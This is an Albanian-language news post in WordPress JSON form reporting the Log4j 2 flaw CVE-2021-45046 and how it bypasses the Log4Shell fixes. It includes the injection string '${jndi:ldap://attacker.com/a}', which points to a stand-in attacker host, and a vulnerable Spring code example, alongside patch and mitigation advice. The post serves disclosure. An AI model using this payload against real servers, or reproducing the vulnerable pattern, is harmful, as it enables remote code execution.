{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Nj\u00eb variant i ri sulmi ndaj Log4j 2, q\u00eb lejon kalimin e mbrojtjes s\u00eb shtuar","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
N\u00eb realizimin e z\u00ebvend\u00ebsimeve JNDI n\u00eb bibliotek\u00ebn Log4j 2 \u00ebsht\u00eb zbuluar nj\u00eb tjet\u00ebr dob\u00ebsi (CVE-2021-45046), q\u00eb shfaqet pavar\u00ebsisht nga korrigjimet e p\u00ebrfshira n\u00eb versionin 2.15 dhe pa marr\u00eb parasysh p\u00ebrdorimin e cil\u00ebsimit \"log4j2.noFormatMsgLookup\" p\u00ebr mbrojtje. Problemi paraqet rrezik kryesisht p\u00ebr versionet e vjetra t\u00eb Log4j 2, t\u00eb mbrojtura me flamurin \"noFormatMsgLookup\", pasi lejon anashkalimin e mbrojtjes s\u00eb dob\u00ebsis\u00eb s\u00eb m\u00ebparshme (Log4Shell, CVE-2021-44228), e cila mund\u00ebson ekzekutimin e kodit t\u00eb tij n\u00eb server. P\u00ebr p\u00ebrdoruesit e versionit 2.15, shfryt\u00ebzimi \u00ebsht\u00eb i kufizuar n\u00eb krijimin e kushteve p\u00ebr d\u00ebshtimin e aplikacionit p\u00ebr shkak t\u00eb shterimit t\u00eb burimeve t\u00eb disponueshme. <\/p>\n
Vulnerabiliteti shfaqet vet\u00ebm n\u00eb sistemet ku gjat\u00eb regjistrimit p\u00ebrdoren k\u00ebrkesa konteksti (Context Lookup), si ${ctx:loginId}, ose shabllonat MDC (Thread Context Map), p\u00ebr shembull, %X, %mdc dhe %MDC. Shfryt\u00ebzimi kufizohet n\u00eb krijimin e kushteve p\u00ebr shkak t\u00eb regjistrimit t\u00eb t\u00eb dh\u00ebnave q\u00eb p\u00ebrmbajn\u00eb z\u00ebvend\u00ebsime JNDI, gjat\u00eb p\u00ebrdorimit t\u00eb k\u00ebrkesave konteksti ose shabllonave MDC, q\u00eb p\u00ebrcaktojn\u00eb rregullat e formatimit t\u00eb regjistrimit. <\/p>\n
K\u00ebrkuesit nga kompania LunaSec kan\u00eb sh\u00ebnuar se p\u00ebr versionet e Log4j m\u00eb t\u00eb vogla se 2.15, kjo dob\u00ebsi mund t\u00eb p\u00ebrdoret si nj\u00eb vektor i ri p\u00ebr sulmin Log4Shell, q\u00eb \u00e7on n\u00eb ekzekutimin e kodit, n\u00ebse gjat\u00eb regjistrimit t\u00eb logut p\u00ebrdoren shprehjet ThreadContext, t\u00eb cilat p\u00ebrfshijn\u00eb t\u00eb dh\u00ebna eksternale, pavar\u00ebsisht nga p\u00ebrfshirja e flamurit p\u00ebr mbrojtje \"noMsgFormatLookups\" ose modelit \"%m{nolookups}\".
<\/center> <\/p>\n
Anashkalimi i mbrojtjes konsiston n\u00eb at\u00eb q\u00eb, n\u00eb vend t\u00eb z\u00ebvend\u00ebsimit t\u00eb drejtp\u00ebrdrejt\u00eb \"${jndi:ldap:\/\/attacker.com\/a}\", kjo shprehje z\u00ebvend\u00ebsohet p\u00ebrmes vler\u00ebs s\u00eb nj\u00eb variabli nd\u00ebrmjet\u00ebs, t\u00eb p\u00ebrdorur n\u00eb rregullat e formatimit t\u00eb logut. P\u00ebr shembull, n\u00ebse gjat\u00eb regjistrimit t\u00eb logut p\u00ebrdoret k\u00ebrkesa kontekstuale ${ctx:apiversion}, at\u00ebher\u00eb sulmi mund t\u00eb realizohet p\u00ebrmes z\u00ebvend\u00ebsimit t\u00eb t\u00eb dh\u00ebnave \"${jndi:ldap:\/\/attacker.com\/a}\" n\u00eb vler\u00ebn e regjistruar n\u00eb variabl\u00ebn apiversion. Shembuj i kodit t\u00eb dob\u00ebsuesh\u00ebm: appender.console.layout.pattern = ${ctx:apiversion} \u2014 %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L \u2014 %m%n @GetMapping(\"\/\") public String index(@RequestHeader(\"X-Api-Version\") String apiVersion) { \/\/ Vlera e titullit HTTP \"X-Api-Version\" kalon n\u00eb ThreadContext ThreadContext.put(\"apiversion\", apiVersion); \/\/ Gjat\u00eb regjistrimit t\u00eb logut, vlera eksternale apiversion do t\u00eb p\u00ebrpunoj\u00eb p\u00ebrmes z\u00ebvend\u00ebsimit ${ctx:apiversion} logger.info(\"Received a request for API version\"); return \"Hello, world!\"; } <\/p>\n
N\u00eb versionin Log4j 2.15, cenueshm\u00ebria mund t\u00eb p\u00ebrdoret p\u00ebr t\u00eb kryer sulme DoS duke kaluar n\u00eb ThreadContext vlera q\u00eb \u00e7ojn\u00eb n\u00eb ciklim t\u00eb p\u00ebrpunimit t\u00eb modelit t\u00eb formatimit t\u00eb daljes.
<\/center> <\/p>\n
P\u00ebr t\u00eb bllokuar vulnerabilitetin, jan\u00eb publikuar azhurnime 2.16 dhe 2.12.2. N\u00eb deg\u00ebn Log4j 2.16, p\u00ebrve\u00e7 rregullimeve t\u00eb realizuara n\u00eb versionin 2.15 dhe lidhjes s\u00eb k\u00ebrkesave JNDI LDAP me \"localhost\", funksionaliteti JNDI \u00ebsht\u00eb plot\u00ebsisht i \u00e7aktivizuar si parazgjedhje dhe mb\u00ebshtetja p\u00ebr template t\u00eb z\u00ebvend\u00ebsimit t\u00eb mesazheve \u00ebsht\u00eb hequr. Si nj\u00eb zgjidhje p\u00ebr mbrojtje, \u00ebsht\u00eb propozuar q\u00eb t\u00eb hiqet klasa JndiLookup nga classpath (p.sh., \"zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class\"). <\/p>\n
Mund t\u00eb ndjek\u00ebsh shfaqjen e rregullimeve n\u00eb paketat e shp\u00ebrndarjes n\u00eb faqet e shp\u00ebrndar\u00ebsve (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) dhe prodhuesve t\u00eb platformave Java (GitHub, Docker, Oracle, vmWare, Broadcom dhe Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure etj.). \n Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Nj\u00eb](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"Nj\u00eb](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n